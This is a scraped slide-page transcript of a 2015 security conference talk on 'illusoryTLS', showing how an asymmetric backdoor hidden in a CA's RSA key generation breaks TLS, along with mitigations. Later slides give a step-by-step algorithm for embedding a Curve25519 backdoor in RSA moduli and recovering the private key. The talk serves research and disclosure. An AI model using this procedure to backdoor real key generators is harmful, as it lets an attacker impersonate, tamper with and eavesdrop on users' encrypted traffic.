Cryptographysecurity 1222867498937700-9
muthulx
 
PDF
Paper id 311201535
IJRAT
 
PPTX
Encryption
vasanthimuniasamy
 
illusoryTLS: Nobody But Us Impersonate, Tamper, Exploit
a001
 
illusoryTLS: Nobody But Us Impersonate, Tamper, Exploit (DeepSEC 2015)
a001
 
Selective Opening Secure Functional Encryption
csandit
 
Hacking Presentation
Animesh Behera
 
Ijtra150171
International Journal of Technical Research & Application
 
Cryptographysecurity 1222867498937700-9
muthulx
 
Paper id 311201535
IJRAT
 
Encryption
vasanthimuniasamy
 

Similar to illusoryTLS: Impersonate, Tamper, and Exploit (20)

RTF
Hacking and its types
Rishab Gupta
 
DOCX
ethical hacking report
Akhilesh Patel
 
PPTX
ethical hacking
samprada123
 
PPTX
dane Technical seminar Be in computer Engineeringppt.pptx
LaxmanDhakal5
 
DOCX
POST-QUANTUM CRYPTOGRAPHY
Pavithra Muthu
 
PPT
Ethi mini - ethical hacking
Being Uniq Sonu
 
PPTX
Ethical hacking
AKSHAY KHATRI
 
DOCX
61370436 main-case-study
homeworkping4
 
DOC
Discovery of Compromised Machines
Anton Chuvakin
 
PDF
Super1
neelakanteswarreddy
 
PDF
One Time Pad Journal
Amirul Wiramuda
 
PDF
How to be come a hacker slide for 2600 laos
Outhai SAIOUDOM
 
PPTX
VIVEK_JADHAV[1].pptx this ppt is based on ethical hacking
SantoshChintawar
 
PDF
Module 3 (scanning)
Wail Hassan
 
PPTX
my new HACKING
BABATUNDE OLANREWAJU GEORGE
 
PPT
Hacking
Paidi Dinesh
 
PPTX
Fundamental of ethical hacking
Waseem Rauf
 
PPTX
Network Security
Puneet Abichandani
 
PPTX
Ethical hacking
Prabhat kumar Suman
 
PPTX
How to hide your browser 0-day @ Disobey
Zoltan Balazs
 
Hacking and its types
Rishab Gupta
 
ethical hacking report
Akhilesh Patel
 
ethical hacking
samprada123
 
dane Technical seminar Be in computer Engineeringppt.pptx
LaxmanDhakal5
 
POST-QUANTUM CRYPTOGRAPHY
Pavithra Muthu
 
Ethi mini - ethical hacking
Being Uniq Sonu
 
Ethical hacking
AKSHAY KHATRI
 
61370436 main-case-study
homeworkping4
 
Discovery of Compromised Machines
Anton Chuvakin
 
Super1
neelakanteswarreddy
 
One Time Pad Journal
Amirul Wiramuda
 
How to be come a hacker slide for 2600 laos
Outhai SAIOUDOM
 
VIVEK_JADHAV[1].pptx this ppt is based on ethical hacking
SantoshChintawar
 
Module 3 (scanning)
Wail Hassan
 
my new HACKING
BABATUNDE OLANREWAJU GEORGE
 
Hacking
Paidi Dinesh
 
Fundamental of ethical hacking
Waseem Rauf
 
Network Security
Puneet Abichandani
 
Ethical hacking
Prabhat kumar Suman
 
How to hide your browser 0-day @ Disobey
Zoltan Balazs
 
Ad

More from a001 (9)

PDF
Deliberately Un-Dependable Applications: the Role of Dependability Metrics in...
a001
 
PDF
The Vulnerability Supply Chain - HackIT Ukraine 2016, Kharkiv
a001
 
PDF
The Bazaar, the Maharaja’s Ultimatum, and the Shadow of the Future: Extortion...
a001
 
PDF
Andy, the Polluters, Rick Deckard, and Other Bounty Hunters
Vulnerabilities a...
a001
 
PDF
Vulnerabilities and their Surrounding Ethical Questions: A Code of Ethics for...
a001
 
PDF
The Bazaar, the Maharaja’s Ultimatum, and the Shadow of the Future: Extortion...
a001
 
PDF
Auscert20150daymarket
a001
 
PDF
The Bazaar, the Maharaja's Ultimatum, and the Shadow of the Future: Extortion...
a001
 
PDF
Cryptographic Key Reliable Lifetimes - Bounding the Risk of Key Exposure in t...
a001
 
Deliberately Un-Dependable Applications: the Role of Dependability Metrics in...
a001
 
The Vulnerability Supply Chain - HackIT Ukraine 2016, Kharkiv
a001
 
The Bazaar, the Maharaja’s Ultimatum, and the Shadow of the Future: Extortion...
a001
 
Andy, the Polluters, Rick Deckard, and Other Bounty Hunters
Vulnerabilities a...
a001
 
Vulnerabilities and their Surrounding Ethical Questions: A Code of Ethics for...
a001
 
The Bazaar, the Maharaja’s Ultimatum, and the Shadow of the Future: Extortion...
a001
 
Auscert20150daymarket
a001
 
The Bazaar, the Maharaja's Ultimatum, and the Shadow of the Future: Extortion...
a001
 
Cryptographic Key Reliable Lifetimes - Bounding the Risk of Key Exposure in t...
a001
 
Ad

Recently uploaded (20)

PDF
2025 Textile ERP Trends: SAP, Odoo & Oracle
Aetos Technologies
 
PDF
Raksha Bandhan Grocery Pricing Trends in India 2025.pdf
Actowiz Solustions
 
PDF
PTS Company Brochure 2025 (1).pdf.......
pts464036
 
PPTX
Agentic AI : A Practical Guide. Undersating, Implementing and Scaling Autono...
IT IDOL Technologies
 
PPTX
Lecture 3: Operating Systems Introduction to Computer Hardware Systems
hci7se
 
PDF
Claude Code: Everyone is a 10x Developer - A Comprehensive AI-Powered CLI Tool
William Chong
 
PDF
How to Choose the Right IT Partner for Your Business in Malaysia
Asian Business Services & Technologies
 
PDF
Design an Analysis of Algorithms I-SECS-1021-03
DilanEscobar1
 
PDF
Upgrade and Innovation Strategies for SAP ERP Customers
Virendra Rai, PMP
 
PDF
Which alternative to Crystal Reports is best for small or large businesses.pdf
Varsha Nayak
 
PDF
Understanding Forklifts - TECH EHS Solution
TECH EHS Solution
 
PPTX
Oracle E-Business Suite: A Comprehensive Guide for Modern Enterprises
Conacent Consulting
 
PDF
Design an Analysis of Algorithms II-SECS-1021-03
DilanEscobar1
 
PDF
Softaken Excel to vCard Converter Software.pdf
markwillsonmw004
 
PPTX
assetexplorer- product-overview - presentation
nonameist3434
 
PDF
T3DD25 TYPO3 Content Blocks - Deep Dive by André Kraus
Andre Kraus
 
PDF
Wondershare Filmora 15 Crack With Activation Key [2025
ghrom2211g
 
PDF
Designing Intelligence for the Shop Floor.pdf
nikglvk
 
PDF
Adobe Premiere Pro 2025 (v24.5.0.057) Crack free
ghrom2211g
 
PDF
Internet Downloader Manager (IDM) Crack 6.42 Build 42 Updates Latest 2025
itskinga12
 
2025 Textile ERP Trends: SAP, Odoo & Oracle
Aetos Technologies
 
Raksha Bandhan Grocery Pricing Trends in India 2025.pdf
Actowiz Solustions
 
PTS Company Brochure 2025 (1).pdf.......
pts464036
 
Agentic AI : A Practical Guide. Undersating, Implementing and Scaling Autono...
IT IDOL Technologies
 
Lecture 3: Operating Systems Introduction to Computer Hardware Systems
hci7se
 
Claude Code: Everyone is a 10x Developer - A Comprehensive AI-Powered CLI Tool
William Chong
 
How to Choose the Right IT Partner for Your Business in Malaysia
Asian Business Services & Technologies
 
Design an Analysis of Algorithms I-SECS-1021-03
DilanEscobar1
 
Upgrade and Innovation Strategies for SAP ERP Customers
Virendra Rai, PMP
 
Which alternative to Crystal Reports is best for small or large businesses.pdf
Varsha Nayak
 
Understanding Forklifts - TECH EHS Solution
TECH EHS Solution
 
Oracle E-Business Suite: A Comprehensive Guide for Modern Enterprises
Conacent Consulting
 
Design an Analysis of Algorithms II-SECS-1021-03
DilanEscobar1
 
Softaken Excel to vCard Converter Software.pdf
markwillsonmw004
 
assetexplorer- product-overview - presentation
nonameist3434
 
T3DD25 TYPO3 Content Blocks - Deep Dive by André Kraus
Andre Kraus
 
Wondershare Filmora 15 Crack With Activation Key [2025
ghrom2211g
 
Designing Intelligence for the Shop Floor.pdf
nikglvk
 
Adobe Premiere Pro 2025 (v24.5.0.057) Crack free
ghrom2211g
 
Internet Downloader Manager (IDM) Crack 6.42 Build 42 Updates Latest 2025
itskinga12
 

illusoryTLS: Impersonate, Tamper, and Exploit

  • 1. ... Impersonate, Tamper, and Exploit .. Alfonso De Gregorio . Founder, BeeWise .. HITBSecConf 2015, Amsterdam, May 26th-29th, 2015 ..
  • 2. ... Web PKI is Fragile . 1/104 WebPKIisFragile
  • 3. ..
  • 4. ..
  • 5. ..
  • 6. ..
  • 7. .. Discuss . Web PKI is Fragile . 6/104 /me @secYOUre #illusoryTLS #HITB2015AMS
  • 8. .. First times are... . Web PKI is Fragile . 7/104 ..
  • 9. ... Web PKI is Fragile . 8/104 If only we could notice them
  • 10. .. Web PKI is Fragile . Web PKI is Fragile . 9/104 ... Web PKI is Fragile
  • 11. .. PKI Dramas . Web PKI is Fragile . 10/104 . China Internet Network Information Center (CNNIC), 2015 . Lenovo, 2015 . National Informatics Centre of India, 2014 . ANSSI, 2013 . Trustwave, 2012 . Türktrust, 2011-2013 . DigiNotar, 2011 . Comodo, 2011 . Verisign, 2010
  • 12. .. Unsuspecting Users . Web PKI is Fragile . 11/104 ..
  • 13. .. Remaining oblivious . Web PKI is Fragile . 12/104 ..
  • 14. .. Silent Failure . Web PKI is Fragile . 13/104 ..
  • 15. ..
  • 16. .. /me . Web PKI is Fragile . 15/104 At the intersection of so ware security and security so ware, exploring, and trying to contain, the space of unanticipated state.
  • 17. .. Secure Backdoor . Web PKI is Fragile . 16/104 Almost safe
  • 18. .. Agenda . Web PKI is Fragile . 17/104 1. Web PKI is Fragile The sorrow state of the infrastructure we daily entrust our business upon 2. illusoryTLS Nobody But Us Impersonate, Tamper, and Exploit 3. The Impact Or, why one rotten apple spoils the whole barrel 4. A Backdoor Embedding Algorithm Elligator turned to evil 5. Conclusions The misery of our times
  • 19. .. Perspective . Web PKI is Fragile . 18/104 . Timely topic o en debated as matter for a government to legislate on
  • 20. .. Perspective . Web PKI is Fragile . 18/104 . Timely topic o en debated as matter for a government to legislate on . A space that some entities might have practically explored regardless of the policy framework
  • 21. .. Perspective . Web PKI is Fragile . 18/104 . Timely topic o en debated as matter for a government to legislate on . A space that some entities might have practically explored regardless of the policy framework . Would we be able to notice if our communications were being exploited?
  • 22. .. Poll . Web PKI is Fragile . 19/104 ... Poll
  • 23. .. Poll . Web PKI is Fragile . 20/104 How many of you think that backdoors can be asymmetric?
  • 24. .. Poll . Web PKI is Fragile . 21/104 How many of you think that backdoors can be planted in data?
  • 25. .. Common View . Web PKI is Fragile . 22/104 . Backdoors are symmetric . Malicious logic in the target system code base . Everyone with knowledge about the internals of the backdoor can exploit it . Given enough skills and effort, code review can spot their presence
  • 26. .. Yet . Web PKI is Fragile . 23/104 . Backdoors can be asymmetric. Their complete code does not enable anyone, except those with access to the key-recovery system, to exploit the backdoor
  • 27. .. Yet . Web PKI is Fragile . 23/104 . Backdoors can be asymmetric. Their complete code does not enable anyone, except those with access to the key-recovery system, to exploit the backdoor . Backdoors can be planted in data
  • 28. ... Web PKI is Fragile . 24/104 Backdoor is data, data is backdoor
  • 29. ... Web PKI is Fragile . 25/104 .. “ The illusion that your program is manipulating its data is powerful. But it is an illusion: The data is controlling your program. Taylor Hornby.. ”
  • 30. .. Scenario . Web PKI is Fragile . 26/104 . The entire X.509 Web PKI security architecture falls apart, if a single CA certificate with a secretly embedded backdoor enters the certificate store of relying parties
  • 31. .. Scenario . Web PKI is Fragile . 26/104 . . The entire X.509 Web PKI security architecture falls apart, if a single CA certificate with a secretly embedded backdoor enters the certificate store of relying parties Have we sufficient assurance that this did not happen already?
  • 33. .. Underhanded Crypto Contest . illusoryTLS . 28/104 . .. .. “ The Underhanded Crypto Contest is a competition to write or modify crypto code that appears to be secure, but actually does something evil .. ”
  • 34. .. illusoryTLS . illusoryTLS . 29/104 . An instance of the Young and Yung elliptic curve asymmetric backdoor in RSA key generation
  • 35. .. Security Outcome . illusoryTLS . 30/104 The backdoor completely perverts the security guarantees provided by the TLS protocol, allowing the attacker to: . Impersonate the endpoints (i.e., authentication failure)
  • 36. .. Security Outcome . illusoryTLS . 30/104 The backdoor completely perverts the security guarantees provided by the TLS protocol, allowing the attacker to: . Impersonate the endpoints (i.e., authentication failure) . Tamper with their messages (i.e., integrity erosion)
  • 37. .. Security Outcome . illusoryTLS . 30/104 The backdoor completely perverts the security guarantees provided by the TLS protocol, allowing the attacker to: . Impersonate the endpoints (i.e., authentication failure) . Tamper with their messages (i.e., integrity erosion) . Actively eavesdrop their communications (i.e., confidentiality loss)
  • 38. .. Threat Model . illusoryTLS . 31/104 The backdoor designer can: . “Insert vulnerabilities into commercial encryption systems, IT systems, networks and endpoint communications devices used by targets.”
  • 39. .. Threat Model . illusoryTLS . 31/104 The backdoor designer can: . “Insert vulnerabilities into commercial encryption systems, IT systems, networks and endpoint communications devices used by targets.” . “influence policies, standard and specifications for commercial public key technologies.”
  • 40. .. Threat Model . illusoryTLS . 31/104 The backdoor designer can: . “Insert vulnerabilities into commercial encryption systems, IT systems, networks and endpoint communications devices used by targets.” . “influence policies, standard and specifications for commercial public key technologies.” . Interfere with the supply-chain
  • 41. .. Threat Model . illusoryTLS . 31/104 The backdoor designer can: . “Insert vulnerabilities into commercial encryption systems, IT systems, networks and endpoint communications devices used by targets.” . “influence policies, standard and specifications for commercial public key technologies.” . Interfere with the supply-chain . Disregard everything about policy
  • 42. .. Threat Model . illusoryTLS . 31/104 The backdoor designer can: . “Insert vulnerabilities into commercial encryption systems, IT systems, networks and endpoint communications devices used by targets.” . “influence policies, standard and specifications for commercial public key technologies.” . Interfere with the supply-chain . Disregard everything about policy . Or, she is simply in the position to build the security module used by the Certification Authority for generating the key material
  • 45. .. Echo service over TLS . illusoryTLS . 34/104 ..
  • 46. .. Where is the backdoor? . illusoryTLS . 35/104 If the client and server code is contributed by an open-source project and it is used as-is, where is the backdoor?
  • 47. .. Where is the backdoor? . illusoryTLS . 36/104 ..
  • 48. .. A Covert Channel . illusoryTLS . 37/104 . The upper order bits of the RSA modulus encode the asymmetric encryption of a seed generated at random
  • 49. .. A Covert Channel . illusoryTLS . 37/104 . The upper order bits of the RSA modulus encode the asymmetric encryption of a seed generated at random . The same seed was used to generate one of the RSA primes of the CA public-key modulus
  • 50. .. A Covert Channel . illusoryTLS . 37/104 . The upper order bits of the RSA modulus encode the asymmetric encryption of a seed generated at random . The same seed was used to generate one of the RSA primes of the CA public-key modulus . The RSA modulus is at the same time a RSA public-key and an ciphertext that gives to the backdoor designer the ability to factor with ease the modulus
  • 51. .. Where the backdoor is not . illusoryTLS . 38/104 No backdoor was slipped into the cryptographic credentials issued to the communicating endpoints
  • 52. .. SETUP Attacks . illusoryTLS . 39/104 .. . Notion introduced by Adam Young and Moti Yung at Crypto ’96 . Young and Yung elliptic-curve asymmetric backdoor in RSA key generation . Expands on ‘A Space Efficient Backdoor in RSA and its Applications’, Selected Areas in Cryptography ’05 . A working implementation at http://cryptovirology.com
  • 53. .. NOBUS . illusoryTLS . 40/104 .. . The exploitation requires access to resources not embedded in the backdoor itself . e.g., elliptic-curve private key . The vulnerability can be exploited by the backdoor designer and by whoever gains access to the associated key-recovery system
  • 54. ... illusoryTLS . 41/104 How many of you believe that it is possible to forbid an enemy intelligence organization from gaining access to a private key?
  • 55. .. Indistinguishability . illusoryTLS . 42/104 .. . Assuming ECDDH holds . The backdoor key pairs appear to all probabilistic polynomial time algorithms like genuine RSA key pairs . Black-box access to the key-generator does not allow detection
  • 56. .. Forward Secrecy . illusoryTLS . 43/104 .. . If a reverse-engineer breaches the key-generator, then the previously stolen information remains confidential
  • 57. .. Reusability . illusoryTLS . 44/104 .. . The backdoor can be used multiple times and against multiple targets
  • 59. .. A Subtle Attack . Impact . 46/104 .. . Break TLS security guarantees at will
  • 60. .. A Subtle Attack . Impact . 46/104 .. . Break TLS security guarantees at will . Impersonation (e.g., authentication failure)
  • 61. .. A Subtle Attack . Impact . 46/104 .. . Break TLS security guarantees at will . Impersonation (e.g., authentication failure) . Message tampering (e.g., integrity erosion)
  • 62. .. A Subtle Attack . Impact . 46/104 .. . Break TLS security guarantees at will . Impersonation (e.g., authentication failure) . Message tampering (e.g., integrity erosion) . Active eavesdropping of encrypted communications (e.g., confidentiality loss)
  • 63. .. A Subtle Attack . Impact . 46/104 .. . Break TLS security guarantees at will . Impersonation (e.g., authentication failure) . Message tampering (e.g., integrity erosion) . Active eavesdropping of encrypted communications (e.g., confidentiality loss) . No need to have access to any private key used by system actors
  • 64. .. A Subtle Attack . Impact . 46/104 .. . Break TLS security guarantees at will . Impersonation (e.g., authentication failure) . Message tampering (e.g., integrity erosion) . Active eavesdropping of encrypted communications (e.g., confidentiality loss) . No need to have access to any private key used by system actors . No need to tamper with the communicating endpoints
  • 65. .. A Subtle Attack . Impact . 46/104 .. . Break TLS security guarantees at will . Impersonation (e.g., authentication failure) . Message tampering (e.g., integrity erosion) . Active eavesdropping of encrypted communications (e.g., confidentiality loss) . No need to have access to any private key used by system actors . No need to tamper with the communicating endpoints . Need to retain control over the key-generation of the target RSA modulus
  • 66. ... Impact . 47/104 Is the malicious implementer a threat mitigated by IT product security certifications?
  • 67. .. Fictional Security . Impact . 48/104 ... A single CA certificate with a secretly embedded backdoor renders the entire TLS security fictional
  • 69. .. ... spoils the whole barrel . Impact . 50/104 ... ... spoils the whole barrel
  • 74. .. Cross Certification . Impact . 55/104 .. . Cross certification enables entities in one public key infrastructure to trust entities in another PKI
  • 75. .. Cross Certification . Impact . 55/104 .. . Cross certification enables entities in one public key infrastructure to trust entities in another PKI . This mutual trust relationship should be typically supported by a cross-certification agreement between the CAs in each PKI
  • 76. .. Cross Certification . Impact . 55/104 .. . Cross certification enables entities in one public key infrastructure to trust entities in another PKI . This mutual trust relationship should be typically supported by a cross-certification agreement between the CAs in each PKI . The agreement establishes the responsabilities and liability of each party
  • 77. .. Explicit Cross Certification . Impact . 56/104 .. . Each CA is required to issue a certificate to the other to establish a relationship in both directions
  • 78. .. Explicit Cross Certification . Impact . 56/104 .. . Each CA is required to issue a certificate to the other to establish a relationship in both directions . The path of trust is not hierarchical, although the separate PKIs may be certificate hierarchies
  • 79. .. Explicit Cross Certification . Impact . 56/104 .. . Each CA is required to issue a certificate to the other to establish a relationship in both directions . The path of trust is not hierarchical, although the separate PKIs may be certificate hierarchies . A er two CAs have established and specified the terms of trust and issued the certificates to each other, entities within the separate PKIs can interact subject to the policies specified in the certificates
  • 80. ... But this is just in theory...
  • 82. .. Implicit Cross Certification . Impact . 59/104 .. . Most current PKI so ware employs a form of implicit cross certification in which all root CAs are equally trusted
  • 83. .. Implicit Cross Certification . Impact . 59/104 .. . Most current PKI so ware employs a form of implicit cross certification in which all root CAs are equally trusted . Equivalent to unbounded cross certification among all CAs
  • 84. .. Implicit Cross Certification . Impact . 59/104 .. . Most current PKI so ware employs a form of implicit cross certification in which all root CAs are equally trusted . Equivalent to unbounded cross certification among all CAs . Any certificate can be trivially replaced by a masquereder’s certificate from another CA
  • 85. .. Implicit Cross Certification . Impact . 59/104 .. . Most current PKI so ware employs a form of implicit cross certification in which all root CAs are equally trusted . Equivalent to unbounded cross certification among all CAs . Any certificate can be trivially replaced by a masquereder’s certificate from another CA . The security of any certificate is reduced to that of the least trustworthy CA, who can issue bogus certificate to usurp the legitimate one, at the same level of trust
  • 86. .. CA Certificate in a MitM Proxy . Impact . 60/104 ..
  • 88. .. PKI is Not Dead, Just Resting . Impact . 62/104 ..
  • 93. ... As weak as the weakest link
  • 95. ..
  • 96. ..
  • 97. ..
  • 98. ... Negating any meaningful security whatsoever
  • 99. ... Impact . 73/104 It is essential to have assurance about the security of each implementation of vulnerable key-generation algorithm employed by trusted credential issuers
  • 101. ... Impact . 75/104 Have we sufficient assurance about the hundreds CA certificates we daily entrust our business upon?
  • 102. .. Requirements . Impact . 76/104 .. . Publicly trusted certificates to be issued in compliance with European Standard EN 319 411-3
  • 103. .. Requirements . Impact . 76/104 .. . Publicly trusted certificates to be issued in compliance with European Standard EN 319 411-3 . CA key generation to be carried out within a device that meets the requirements identified by some approved PP
  • 104. .. Requirements . Impact . 76/104 .. . Publicly trusted certificates to be issued in compliance with European Standard EN 319 411-3 . CA key generation to be carried out within a device that meets the requirements identified by some approved PP . CEN Workshop Agreement 14167, Part 2-3-4 are three of those PP
  • 105. .. Requirements . Impact . 76/104 .. . Publicly trusted certificates to be issued in compliance with European Standard EN 319 411-3 . CA key generation to be carried out within a device that meets the requirements identified by some approved PP . CEN Workshop Agreement 14167, Part 2-3-4 are three of those PP . EAL4 Augmented
  • 106. .. Requirements . Impact . 76/104 .. . Publicly trusted certificates to be issued in compliance with European Standard EN 319 411-3 . CA key generation to be carried out within a device that meets the requirements identified by some approved PP . CEN Workshop Agreement 14167, Part 2-3-4 are three of those PP . EAL4 Augmented . Augmentation from adherence to ADV_IMP.2, AVA_CCA.1, and AVA_VLA.4
  • 107. .. ADV_IMP.2, AVA_CCA.1, and AVA_VLA.4 . Impact . 77/104 .. . Focused on assessing the vulnerabilities in the TOE
  • 108. .. ADV_IMP.2, AVA_CCA.1, and AVA_VLA.4 . Impact . 77/104 .. . Focused on assessing the vulnerabilities in the TOE . Guaranteeing that the implementation representation is an accurate and complete instantiation of the TSF requirements
  • 109. .. ADV_IMP.2, AVA_CCA.1, and AVA_VLA.4 . Impact . 77/104 .. . Focused on assessing the vulnerabilities in the TOE . Guaranteeing that the implementation representation is an accurate and complete instantiation of the TSF requirements . Special emphasis on identifying covert channels and estimating their capacity
  • 110. .. ADV_IMP.2, AVA_CCA.1, and AVA_VLA.4 . Impact . 77/104 .. . Focused on assessing the vulnerabilities in the TOE . Guaranteeing that the implementation representation is an accurate and complete instantiation of the TSF requirements . Special emphasis on identifying covert channels and estimating their capacity . SETUP attacks makes use of the key-generation as a covert channel for itself
  • 111. .. Yet . Impact . 78/104 .. . Developer is in charge for the vulnerability assessment and documentation
  • 112. .. Yet . Impact . 78/104 .. . Developer is in charge for the vulnerability assessment and documentation . Conflicts with our threat model
  • 113. .. Yet . Impact . 78/104 .. . Developer is in charge for the vulnerability assessment and documentation . Conflicts with our threat model . The evaluator is le with the documentation and the implementation representation to be assessed
  • 114. .. Yet . Impact . 78/104 .. . Developer is in charge for the vulnerability assessment and documentation . Conflicts with our threat model . The evaluator is le with the documentation and the implementation representation to be assessed . Can the presence of backdoor can be ruled out at the required assurance level?
  • 115. .. Yet . Impact . 78/104 .. . Developer is in charge for the vulnerability assessment and documentation . Conflicts with our threat model . The evaluator is le with the documentation and the implementation representation to be assessed . Can the presence of backdoor can be ruled out at the required assurance level? . Formal methods required only at the two highest levels (EAL6 and EAL7)
  • 116. .. Yet . Impact . 78/104 .. . Developer is in charge for the vulnerability assessment and documentation . Conflicts with our threat model . The evaluator is le with the documentation and the implementation representation to be assessed . Can the presence of backdoor can be ruled out at the required assurance level? . Formal methods required only at the two highest levels (EAL6 and EAL7) . Implementation representation may render backdoor detection unlikely (e.g., HDL at design time, netlist at fabrication time)
  • 117. .. Key Takeaway . Impact . 79/104 As long as the implementations of RSA — or, more generally, algorithms vulnerable to this class of attacks — used by trusted entities (e.g., CA) cannot be audited by relying parties (e.g., x.509 end-entities), any trust-anchor for the same trusted entities (e.g., root certificate) is to be regarded as a potential backdoor
  • 118. .. Key Takeaway - Ctd . Impact . 80/104 As long as the implementation of algorithms adopted by CAs and vulnerable to this class of backdoors cannot be audited by relying parties, the assurance provided by illusoryTLS (i.e., none whatsoever) is not any different from the assurance provided by systems relying upon TLS and RSA certificates for origin authentication, confidentiality, and message integrity guarantees
  • 119. .. Mitigations . Impact . 81/104 . Key Pinning, RFC 7469, Public Key Pinning Extension for HTTP (HPKP), April 2015 . Certificate Transparency, RFC 6962, June 2013 . DANE, DNS-based Authentication of Named Entities, RFC 6698, August 2012 . Tack, Trust Assertions for Certificate Keys, dra -perrin-tls-tack-02.txt, Expired . Proper explicit cross-certification
  • 120. ... A Backdoor Embedding Algorithm . 82/104 ABackdoorEmbeddingAlgorithm
  • 121. .. Subtleness . A Backdoor Embedding Algorithm . 83/104 The subtleness of a backdoor planted in a cryptographic credential resides in the absence of malicious logic in the system whose security it erodes.
  • 122. .. An attack variant . A Backdoor Embedding Algorithm . 84/104 ... RyanC — https://gist.github.com/ryancdotorg/18235723e926be0afbdd
  • 123. .. Idea . A Backdoor Embedding Algorithm . 85/104 1. Embed a Curve25519 public-key into the key-generator
  • 124. .. Idea . A Backdoor Embedding Algorithm . 85/104 1. Embed a Curve25519 public-key into the key-generator 2. Generate an ephemeral Curve25519 key at random
  • 125. .. Idea . A Backdoor Embedding Algorithm . 85/104 1. Embed a Curve25519 public-key into the key-generator 2. Generate an ephemeral Curve25519 key at random 3. Compute a shared secret using Elliptic Curve Diffie-Hellman
  • 126. .. Idea . A Backdoor Embedding Algorithm . 85/104 1. Embed a Curve25519 public-key into the key-generator 2. Generate an ephemeral Curve25519 key at random 3. Compute a shared secret using Elliptic Curve Diffie-Hellman 4. Use the shared secret to seed at cryptographically secure pseudo-random number generator (CSPRNG) based on AES run in CTR mode
  • 127. .. Idea . A Backdoor Embedding Algorithm . 85/104 1. Embed a Curve25519 public-key into the key-generator 2. Generate an ephemeral Curve25519 key at random 3. Compute a shared secret using Elliptic Curve Diffie-Hellman 4. Use the shared secret to seed at cryptographically secure pseudo-random number generator (CSPRNG) based on AES run in CTR mode 5. Generate a normal RSA key using the seeded CSPRNG
  • 128. .. Idea . A Backdoor Embedding Algorithm . 85/104 1. Embed a Curve25519 public-key into the key-generator 2. Generate an ephemeral Curve25519 key at random 3. Compute a shared secret using Elliptic Curve Diffie-Hellman 4. Use the shared secret to seed at cryptographically secure pseudo-random number generator (CSPRNG) based on AES run in CTR mode 5. Generate a normal RSA key using the seeded CSPRNG 6. Replace 32-bytes of the generated modulus with the ephemeral Curve25519 public-key
  • 129. .. Idea . A Backdoor Embedding Algorithm . 85/104 1. Embed a Curve25519 public-key into the key-generator 2. Generate an ephemeral Curve25519 key at random 3. Compute a shared secret using Elliptic Curve Diffie-Hellman 4. Use the shared secret to seed at cryptographically secure pseudo-random number generator (CSPRNG) based on AES run in CTR mode 5. Generate a normal RSA key using the seeded CSPRNG 6. Replace 32-bytes of the generated modulus with the ephemeral Curve25519 public-key 7. Use the original prime factors to compute two new primes leading to a new modulus embedding the ephemeral public-key
  • 130. .. Idea . A Backdoor Embedding Algorithm . 85/104 1. Embed a Curve25519 public-key into the key-generator 2. Generate an ephemeral Curve25519 key at random 3. Compute a shared secret using Elliptic Curve Diffie-Hellman 4. Use the shared secret to seed at cryptographically secure pseudo-random number generator (CSPRNG) based on AES run in CTR mode 5. Generate a normal RSA key using the seeded CSPRNG 6. Replace 32-bytes of the generated modulus with the ephemeral Curve25519 public-key 7. Use the original prime factors to compute two new primes leading to a new modulus embedding the ephemeral public-key 8. Output the RSA key with the secretly embedded backdoor
  • 131. .. Key Recovery . A Backdoor Embedding Algorithm . 86/104 1. Extracts the ephemeral Curve25519 public-key from the target modulus
  • 132. .. Key Recovery . A Backdoor Embedding Algorithm . 86/104 1. Extracts the ephemeral Curve25519 public-key from the target modulus 2. Computes the shared secret via ECDH and using the private-key associated to the public-key embedded in the key generator
  • 133. .. Key Recovery . A Backdoor Embedding Algorithm . 86/104 1. Extracts the ephemeral Curve25519 public-key from the target modulus 2. Computes the shared secret via ECDH and using the private-key associated to the public-key embedded in the key generator 3. Uses the shared secret to seed the CSPRNG based on AES run in CTR mode
  • 134. .. Key Recovery . A Backdoor Embedding Algorithm . 86/104 1. Extracts the ephemeral Curve25519 public-key from the target modulus 2. Computes the shared secret via ECDH and using the private-key associated to the public-key embedded in the key generator 3. Uses the shared secret to seed the CSPRNG based on AES run in CTR mode 4. Generates a normal RSA key using the seeded CSPRNG
  • 135. .. Key Recovery . A Backdoor Embedding Algorithm . 86/104 1. Extracts the ephemeral Curve25519 public-key from the target modulus 2. Computes the shared secret via ECDH and using the private-key associated to the public-key embedded in the key generator 3. Uses the shared secret to seed the CSPRNG based on AES run in CTR mode 4. Generates a normal RSA key using the seeded CSPRNG 5. Replaces 32-bytes of the generated modulus with the ephemeral Curve25519 public-key
  • 136. .. Key Recovery . A Backdoor Embedding Algorithm . 86/104 1. Extracts the ephemeral Curve25519 public-key from the target modulus 2. Computes the shared secret via ECDH and using the private-key associated to the public-key embedded in the key generator 3. Uses the shared secret to seed the CSPRNG based on AES run in CTR mode 4. Generates a normal RSA key using the seeded CSPRNG 5. Replaces 32-bytes of the generated modulus with the ephemeral Curve25519 public-key 6. Uses the original prime factors to compute two new primes leading to the target modulus embedding the ephmeral public-key
  • 137. .. Key Recovery . A Backdoor Embedding Algorithm . 86/104 1. Extracts the ephemeral Curve25519 public-key from the target modulus 2. Computes the shared secret via ECDH and using the private-key associated to the public-key embedded in the key generator 3. Uses the shared secret to seed the CSPRNG based on AES run in CTR mode 4. Generates a normal RSA key using the seeded CSPRNG 5. Replaces 32-bytes of the generated modulus with the ephemeral Curve25519 public-key 6. Uses the original prime factors to compute two new primes leading to the target modulus embedding the ephmeral public-key 7. Output the recovered RSA private key
  • 138. .. Broken . A Backdoor Embedding Algorithm . 87/104 .. . Although the idea is nice . The key pairs generated using this algorithm fall short in terms of indistiguishability . It is easy to tell backdoored certificates apart from genuine RSA certificate using only black-box access
  • 139. ... A Backdoor Embedding Algorithm . 88/104 Does anybody see why this is the case?
  • 140. .. Distinguishing Attack . A Backdoor Embedding Algorithm . 89/104 . A public-key embedded into an RSA modulus
  • 141. .. Distinguishing Attack . A Backdoor Embedding Algorithm . 89/104 . A public-key embedded into an RSA modulus . Elliptic curve public-keys are points on the curve
  • 142. .. Distinguishing Attack . A Backdoor Embedding Algorithm . 89/104 . A public-key embedded into an RSA modulus . Elliptic curve public-keys are points on the curve . And elliptic curve points are easily distinguished from uniform random strings
  • 143. .. Distinguishing Attack . A Backdoor Embedding Algorithm . 89/104 . A public-key embedded into an RSA modulus . Elliptic curve public-keys are points on the curve . And elliptic curve points are easily distinguished from uniform random strings . A security evaluator could check if the coordinates encoded using the candidate 32-byte substrings of the modulus satisfy the elliptic curve equation
  • 144. .. Repairing the Backdoor . A Backdoor Embedding Algorithm . 90/104 If we could make the elliptic curve points indistinguishable from random strings, then the backdoor indistinguishability would be retained
